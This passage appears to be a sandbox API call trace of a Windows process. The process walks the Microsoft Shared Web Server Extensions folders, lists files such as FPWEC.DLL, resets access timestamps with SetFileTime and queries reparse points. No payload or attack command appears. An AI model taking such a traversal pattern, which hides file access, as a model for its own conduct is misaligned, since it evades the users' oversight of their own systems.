lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0064.234] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0064.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.234] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0064.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.235] NtClose (Handle=0x160) returned 0x0 [0064.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0064.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0064.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05378 [0064.235] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0064.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0064.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0064.235] GetLastError () returned 0x12 [0064.235] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0064.235] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0064.235] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.235] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0064.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05588 [0064.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05690 [0064.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0064.236] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0064.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.236] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0064.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.236] NtClose (Handle=0x160) returned 0x0 [0064.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05690) returned 1 [0064.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05690 [0064.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05798 [0064.237] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0064.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0064.237] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0064.237] GetLastError () returned 0x12 [0064.237] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0064.237] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0064.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.237] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0064.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa058a0 [0064.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa059a8 [0064.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0064.254] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.255] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0064.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.255] NtClose (Handle=0x160) returned 0x0 [0064.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa059a8) returned 1 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa059a8 [0064.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05ab0 [0064.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0064.255] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.255] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.255] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.256] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0064.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.256] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0064.256] GetLastError () returned 0x12 [0064.256] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0064.256] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0064.256] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.256] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05bb8 [0064.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05cc0 [0064.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0064.257] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0064.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.257] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0064.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.257] NtClose (Handle=0x160) returned 0x0 [0064.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05cc0) returned 1 [0064.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05cc0 [0064.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05dc8 [0064.257] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0064.257] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.258] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0064.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05ed0 [0064.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03fe0 [0064.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05fd8 [0064.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.259] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0064.259] GetLastError () returned 0x12 [0064.259] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0064.259] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0064.259] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.259] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 